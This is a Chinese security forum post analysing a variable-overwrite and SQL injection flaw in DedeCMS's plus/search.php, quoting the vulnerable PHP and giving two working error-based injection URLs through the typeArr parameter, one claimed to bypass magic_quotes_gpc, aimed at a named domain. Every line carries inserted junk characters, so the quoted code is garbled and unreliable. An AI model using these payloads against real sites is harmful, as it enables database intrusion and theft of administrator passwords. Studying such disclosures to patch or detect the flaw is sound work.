微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
. F. p+ `7 E) n+ t1 O* U' ]+ O- O: I作者: c4rp3nt3r@0x50sec.org1 t) e! ?& E# G" `6 n% q
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.! j( K2 }$ V9 p3 a3 p& o
; L' l( Y, Z$ r, ]0 f- B5 C9 S/ p
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
! K# i& c( W4 g: x O d% ~+ Z: ? . T$ c- T- }+ e& a' M, b5 M# m
============! W$ \$ V2 M+ J3 `/ M1 D
' v# l3 K, A9 Y 8 k& R* L% k* c2 a# A
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
3 a8 X5 `& Q$ V6 G- d
5 t% r* P' T3 o3 V0 [require_once(dirname(__FILE__).”/../include/common.inc.php”);* ~6 \1 W6 n* _$ j& g r) j
require_once(DEDEINC.”/arc.searchview.class.php”);
$ `4 v: _: l. s4 o
0 M9 W# y0 @% T) _: f$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
! {: H T5 W6 d& ~- l! E$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;) v5 a4 l6 |# D: Y
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;, K$ A2 x1 x/ M
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
: m8 a' F+ i. Q2 R# X$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
$ b+ i j" z: l* G H
: {- r+ \8 k, y2 P4 Yif(!isset($orderby)) $orderby=”;
. ^" ^' j7 h7 L$ gelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);4 Y2 z5 \# n) x: O7 J# f
- x- h' f8 t+ F6 [- E4 j - v, x: B+ l& C# ^- {/ y
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
v# w. b$ M' ?! W7 }) G+ I; N7 qelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);0 q+ \# \, i4 q) V. o' c
4 x5 [- |% A- ^# Y2 D
if(!isset($keyword)){
8 V) B0 N/ ^8 N" K if(!isset($q)) $q = ”;
# J# ~' r" T+ R& P1 e7 n5 y3 r* N $keyword=$q;
8 Z& U; |0 e6 s4 w}
/ }( A; X% p3 j5 O4 c2 ^
' [3 ^: M5 j4 y: u9 N$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
0 E- X$ i' @5 m3 o6 Z
) L% x* e( J3 o5 V9 B//查找栏目信息
3 |% `, e5 l- F! V' @' X/ oif(empty($typeid))
; k F6 {+ X* T9 Y{
0 P& j" I3 n. C $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;: R! x& i# Y: t' ~" C6 I4 `* n
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
3 R! o: l4 m A( Q5 D# D7 M. I {
9 h7 O1 W& r0 o c/ \9 Z $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);" g( \ @) |3 I
fwrite($fp, “<”.”?php\r\n”); o& b! `! o. E$ }: u
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);- u# g- e3 j' J h
$dsql->Execute();3 r+ }- v7 |) X7 O$ e
while($row = $dsql->GetArray())
) ~" C2 u. _6 d2 A" Q {5 N0 I: j5 J/ j5 a5 z' [/ i
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);* y6 Z9 F) | ^" U$ L+ p
} O6 [0 y- t* f, H5 K0 F8 L; x
fwrite($fp, ‘?’.'>’);
9 s$ d& E3 C& \) |& c fclose($fp);5 m! g# S$ B8 N, T; K [9 ^
}+ y0 q# }/ z n5 X/ @
//引入栏目缓存并看关键字是否有相关栏目内容
3 Z; C$ P6 j1 s$ \ require_once($typenameCacheFile);
4 J$ M1 D' x/ u4 l$ F! d3 w! g/ Z- D//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
1 e5 o7 y. s& o2 V" K& k" _' F//
c [7 W& d2 B if(isset($typeArr) && is_array($typeArr))
. T) W9 z; ]4 p, u {
& j/ c) L5 e8 ?" ~3 F* Y; P foreach($typeArr as $id=>$typename)
: t9 h+ X% \0 W+ h% r {! W" R# R/ w& H% s3 [
* c) g+ I( c0 I <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过1 D- n, r7 f: c0 ~; D t+ D2 v
if($keyword != $keywordn)- D, q. |9 d+ T7 ]' p
{; A; |! K W2 U- {
$keyword = $keywordn;" g) ~7 }0 h$ A2 G. \' R# t9 W* J
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
. o4 M% L0 t! o5 K5 z1 U- E2 d; B break;
( v% s( S/ I8 y! i1 F' ]: g. L }; P) q! O2 k, q
}
. Y& x/ \9 [# U1 o& I. X' h }- I8 {4 H9 j, g( I$ ]
}/ ?# C8 N: \3 F/ V: W E0 m9 X. G
然后plus/search.php文件下面定义了一个 Search类的对象 .8 D2 {% F1 ?* E& g' C
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.* Q( t: V! _8 R3 f3 q
$this->TypeLink = new TypeLink($typeid);
8 r+ |$ o' t1 ^* g, A) O1 g/ }
6 r2 N5 d9 `! G& z& vTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
/ n0 H# X( ^1 B- F! e v5 f: D' Y7 w9 e" g" ?
class TypeLink
9 w* R. q% ?3 Y6 P& F: _{
. z9 |" q0 D N, i: } var $typeDir;* n' w9 N( ?# w% a3 w4 L( x1 O
var $dsql;, Z) C% P+ ~ U) q3 q
var $TypeID;
; c- V; w2 Z6 z/ C! v( o. J7 Y var $baseDir;- p0 [7 m$ |7 c4 M( l
var $modDir;
; f/ `9 x" {+ j3 z var $indexUrl;9 p5 r* ?6 L; Y$ A5 \1 B
var $indexName;
3 l6 X/ e, s, ^5 V' T* Q- y x* M var $TypeInfos; p0 A7 M" g( Y: G( P7 H1 ~
var $SplitSymbol;
- s0 n7 F; C& {/ K9 [2 \+ l var $valuePosition;& Q9 \ h( k9 ]/ ]9 h& A
var $valuePositionName;! N" `9 F7 k6 B3 r& z, U/ l. a
var $OptionArrayList;//构造函数///////
+ n3 h+ X$ c y- k //php5构造函数
( z0 K& C6 P$ `* U0 r( Z3 ? function __construct($typeid)9 \$ e3 F! k% O/ U3 {' Q, Z
{
. q7 w) z* g) R $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
6 M& c- |. m! j% ^: `( t $this->indexName = $GLOBALS['cfg_indexname'];( [& S4 W4 u9 o% Z7 {7 c
$this->baseDir = $GLOBALS['cfg_basedir'];
7 o# P5 C" Q# U $this->modDir = $GLOBALS['cfg_templets_dir'];+ T- w% K& {! @( @
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
7 f+ p( U& }$ ?9 ^8 z" U$ Y" p" o $this->dsql = $GLOBALS['dsql'];2 ]( e& f( ^+ _, X) E+ U
$this->TypeID = $typeid;
* A: K1 o0 n5 u& r2 G g) C# B $this->valuePosition = ”;' F5 Y6 P- w5 u& b1 }
$this->valuePositionName = ”;
$ Y* P( R4 B+ |/ U# J $this->typeDir = ”;
: x3 r; ]. q& r4 N z6 a $this->OptionArrayList = ”;
" Y4 b$ G' Z. |( i9 _! ?: _
9 I! J( d8 I j, t8 F% p1 z6 H //载入类目信息: P' T3 v$ v+ i5 Q* p/ i) o) g2 y! Q
+ l& c! A$ \0 u9 R3 ?& u <font color=”Red”>$query = “SELECT tp.*,ch.typename as
* y) w. W/ Q' w3 e7 rctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
& z: C% `0 {# ``#@__channeltype` ch
' z/ L1 \* [0 f on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿. @8 H2 b/ k' _% }
0 K) }3 n* B2 a k) A if($typeid > 0)
& S( s! A; i3 U/ o5 L5 y6 l9 s0 r {6 Z R H1 [, v a* V
$this->TypeInfos = $this->dsql->GetOne($query);
- L% k8 B' m7 R& c4 \0 j6 m( n利用代码一 需要 即使magic_quotes_gpc = Off
2 m) W& D7 s% }- E
( j5 L. u# ^: Awww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title
# `$ \) z; ], t9 b3 q/ X 0 O( g J4 i9 U
这只是其中一个利用代码… Search 类的构造函数再往下" y4 q& s3 i9 x: h
! k# B6 B5 I- o: d3 }: d: h+ }
……省略
2 S3 K e. ?8 B3 ~, c$this->TypeID = $typeid;/ g, {. Z6 N$ c: S: n0 V
……省略+ D$ J5 p" q- J( ]
if($this->TypeID==”0″){' c( D1 Q' S: c H
$this->ChannelTypeid=1;. u. F3 Q) C/ X% H
}else{
0 C1 `0 Q' E6 ]+ K! U, o# i, B $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
& n! C, p( M) H+ p) [7 ?. g//现在不鸡肋了吧亲…# S# y" `1 ], ~" v! i8 D# @% n6 ^" Z
$this->ChannelTypeid=$row['channeltype'];2 m; P7 h7 S" _5 Z8 Y5 p% a
' E1 B7 x6 ?8 q$ M# Q: s( R& Q }
# l: Y, c2 N* y( O利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
7 u) R! I9 _) Y5 N5 L# c# X' ]
2 D) G6 D6 e% v! P8 Jwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
- B5 _" z% V/ [- S4 ^ # y" H- ?/ @0 R; B, i; j2 P
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
2 p4 p9 h2 L/ m |